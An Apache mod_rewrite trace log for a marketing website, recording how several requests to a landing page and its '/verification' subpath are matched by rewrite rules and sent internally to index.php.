[Mon Nov 10 18:39:26.472363 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472387 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472409 2025] [rewrite:trace4] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472429 2025] [rewrite:trace4] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472442 2025] [rewrite:trace4] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472461 2025] [rewrite:trace2] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472471 2025] [rewrite:trace3] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472481 2025] [rewrite:trace2] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472491 2025] [rewrite:trace2] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:26.472500 2025] [rewrite:trace1] [pid 9801:tid 9808] mod_rewrite.c(505): [client 185.220.101.37:62925] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58080c9b00/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:28.686789 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686837 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686858 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686878 2025] [rewrite:trace4] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686909 2025] [rewrite:trace4] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686916 2025] [rewrite:trace4] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686926 2025] [rewrite:trace2] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686937 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686950 2025] [rewrite:trace2] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686963 2025] [rewrite:trace2] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.686972 2025] [rewrite:trace1] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f5814010820/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687123 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f581404b5e0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687146 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f581404b5e0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687156 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f581404b5e0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687168 2025] [rewrite:trace4] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f581404b5e0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687179 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f581404b5e0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687189 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f581404b5e0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687198 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f581404b5e0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687211 2025] [rewrite:trace4] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f581404b5e0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687220 2025] [rewrite:trace1] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f581404b5e0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687466 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687501 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687520 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687525 2025] [rewrite:trace4] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687539 2025] [rewrite:trace4] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687551 2025] [rewrite:trace4] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687561 2025] [rewrite:trace2] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687571 2025] [rewrite:trace3] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687581 2025] [rewrite:trace2] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687591 2025] [rewrite:trace2] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:28.687605 2025] [rewrite:trace1] [pid 9801:tid 9817] mod_rewrite.c(505): [client 185.220.101.37:62931] 185.220.101.37 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f58140eaca0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:39:31.927026 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927095 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927113 2025] [rewrite:trace4] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927139 2025] [rewrite:trace4] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927153 2025] [rewrite:trace4] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927163 2025] [rewrite:trace2] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927175 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927187 2025] [rewrite:trace2] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927198 2025] [rewrite:trace2] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927220 2025] [rewrite:trace1] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc017990/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927369 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c0ae8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927393 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c0ae8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927403 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c0ae8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927415 2025] [rewrite:trace4] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c0ae8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927426 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c0ae8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927436 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c0ae8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927456 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c0ae8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927471 2025] [rewrite:trace4] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c0ae8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927486 2025] [rewrite:trace1] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c0ae8/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927774 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927803 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927805 2025] [rewrite:trace4] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927805 2025] [rewrite:trace4] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927805 2025] [rewrite:trace4] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927806 2025] [rewrite:trace2] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927815 2025] [rewrite:trace3] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:39:31.927825 2025] [rewrite:trace2] [pid 9712:tid 9782] mod_rewrite.c(505): [client 185.220.100.246:57538] 185.220.100.246 - - [measureyourbrand.com.au/sid#22f483e8][rid#7f57fc0c9d60/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
